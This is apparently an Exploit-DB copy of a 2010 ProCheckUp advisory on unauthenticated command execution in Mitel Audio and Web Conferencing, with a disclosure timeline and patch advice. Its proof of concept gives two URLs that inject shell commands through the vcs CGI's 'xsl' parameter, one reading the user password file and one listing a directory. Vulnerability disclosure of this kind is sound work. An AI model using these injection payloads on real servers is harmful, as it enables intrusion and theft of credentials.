PR10-14 Unauthenticated command execution within Mitel's AWC (Mitel Audio and Web Conferencing)

vendor:

Mitel Audio and Web Conferencing (AWC)

by:

Jan Fry of ProCheckUp Ltd

CVSS

CRITICAL

Unauthenticated command execution

N/A

CWE

Product Name: Mitel Audio and Web Conferencing (AWC)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

PR10-14 Unauthenticated command execution within Mitel’s AWC (Mitel Audio and Web Conferencing)

Mitel Audio and Web Conferencing (AWC) is a simple, cost-effective and scalable audio and web conferencing solution supporting upto 200 ports. ProCheckUp has discovered that the AWC web user interface is vulnerable to an unauthenticated command execution attack. Command execution allows Unix commands to be remotely executed with the permissions associated with the web service account. No authentication is required to exploit this vulnerability.

Mitigation:

Ensure that the latest patches have been installed.

Source

Exploit-DB raw data:

http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14

PR10-14 Unauthenticated command execution within Mitel's AWC (Mitel
Audio and Web Conferencing)

Advisory publicly released: Tuesday, 21 December 2010
Vulnerability found: Wednesday, 21 July 2010
Vendor informed: Monday, 26 July 2010
Severity level: High/Critical
Credits
Jan Fry of ProCheckUp Ltd (www.procheckup.com)
Description
Mitel Audio and Web Conferencing (AWC) is a simple, cost-effective and
scalable audio and web conferencing solution supporting upto 200 ports.
http://www.mitel.com/DocController?documentId=26451
ProCheckUp has discovered that the AWC web user interface is vulnerable
to an unauthenticated command execution attack.
Proof of concept
The following demonstrate the command execution flaw:

1) Vulnerable to command execution

To read the user password file
http://target-domain.foo/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat
%20%22/usr/awc/www/users%22%26

To perform a directory listing
http://target-domain.foo/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%
20%22/usr/awc/www/cgi-bin/%22%26

Consequences:
Command execution allows Unix commands to be remotely executed with the
permissions associated with the web service account. No authentication
is required to exploit this vulnerability.
How to fix
Ensure that the latest patches have been installed.
References

Legal
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